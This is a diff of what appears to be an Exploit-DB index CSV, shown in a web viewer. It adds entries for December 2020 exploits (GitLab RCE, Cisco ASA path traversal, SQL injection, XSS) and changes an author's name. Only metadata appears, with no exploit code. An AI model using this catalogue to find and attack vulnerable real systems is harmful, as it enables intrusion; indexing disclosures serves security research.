49221,exploits/multiple/local/49221.java,"Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption",2020-12-09,"Thomas Sluyter",local,multiple,
|
||||
49221,exploits/multiple/local/49221.java,"Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption",2020-12-09,"Tess Sluyter",local,multiple,
|
||||
49226,exploits/windows/local/49226.txt,"PDF Complete 3.5.310.2002 - 'pdfsvc.exe' Unquoted Service Path",2020-12-10,"Zaira Alquicira",local,windows,
|
||||
49248,exploits/windows/local/49248.txt,"System Explorer 7.0.0 - 'SystemExplorerHelpService' Unquoted Service Path",2020-12-14,"Mohammed Alshehri",local,windows,
|
||||
49259,exploits/linux/local/49259.c,"libbabl 0.1.62 - Broken Double Free Detection (PoC)",2020-12-15,"Carter Yagemann",local,linux,
|
||||
|
|
@ -40317,7 +40317,7 @@ id,file,description,date,author,type,platform,port
|
|||
42090,exploits/multiple/webapps/42090.txt,"KEMP LoadMaster 7.135.0.13245 - Persistent Cross-Site Scripting / Remote Code Execution",2017-05-30,SecuriTeam,webapps,multiple,
|
||||
42091,exploits/windows/webapps/42091.txt,"IBM Informix Dynamic Server / Informix Open Admin Tool - DLL Injection / Remote Code Execution / Heap Buffer Overflow",2017-05-30,SecuriTeam,webapps,windows,
|
||||
41849,exploits/php/webapps/41849.txt,"Jobscript4Web 4.5 - Authentication Bypass",2017-04-08,TurkCyberArmy,webapps,php,
|
||||
41855,exploits/xml/webapps/41855.sh,"Adobe (Multiple Products) - XML Injection File Content Disclosure",2017-04-07,"Thomas Sluyter",webapps,xml,8400
|
||||
41855,exploits/xml/webapps/41855.sh,"Adobe (Multiple Products) - XML Injection File Content Disclosure",2017-04-07,"Tess Sluyter",webapps,xml,8400
|
||||
41856,exploits/php/webapps/41856.txt,"MyClassifiedScript 5.1 - SQL Injection",2017-04-11,"Ihsan Sencan",webapps,php,
|
||||
41858,exploits/php/webapps/41858.txt,"Social Directory Script 2.0 - SQL Injection",2017-04-11,"Ihsan Sencan",webapps,php,
|
||||
41859,exploits/php/webapps/41859.txt,"FAQ Script 3.1.3 - 'category_id' SQL Injection",2017-04-11,"Ihsan Sencan",webapps,php,
|
||||
|
|
@ -43481,3 +43481,9 @@ id,file,description,date,author,type,platform,port
|
|||
49258,exploits/php/webapps/49258.txt,"Task Management System 1.0 - 'page' Local File Inclusion",2020-12-15,"İsmail BOZKURT",webapps,php,
|
||||
49260,exploits/php/webapps/49260.py,"Online Marriage Registration System (OMRS) 1.0 - Remote Code Execution (Authenticated)",2020-12-15,"Andrea Bruschi",webapps,php,
|
||||
49262,exploits/hardware/webapps/49262.py,"Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2)",2020-12-15,Freakyclown,webapps,hardware,
|
||||
49263,exploits/ruby/webapps/49263.py,"GitLab 11.4.7 - Remote Code Execution (Authenticated)",2020-12-16,"Mohin Paramasivam",webapps,ruby,
|
||||
49264,exploits/php/webapps/49264.txt,"Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting",2020-12-16,"Sagar Banwa",webapps,php,
|
||||
49265,exploits/linux/webapps/49265.txt,"Raysync 3.3.3.8 - RCE",2020-12-16,james,webapps,linux,
|
||||
49266,exploits/android/webapps/49266.py,"Magic Home Pro 1.5.1 - Authentication Bypass",2020-12-16,"Victor Hanna",webapps,android,
|
||||
49267,exploits/php/webapps/49267.txt,"PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection",2020-12-16,"Frederic ADAM",webapps,php,
|
||||
49268,exploits/php/webapps/49268.txt,"Seotoaster 3.2.0 - Stored XSS on Edit page properties",2020-12-16,"Hardik Solanki",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue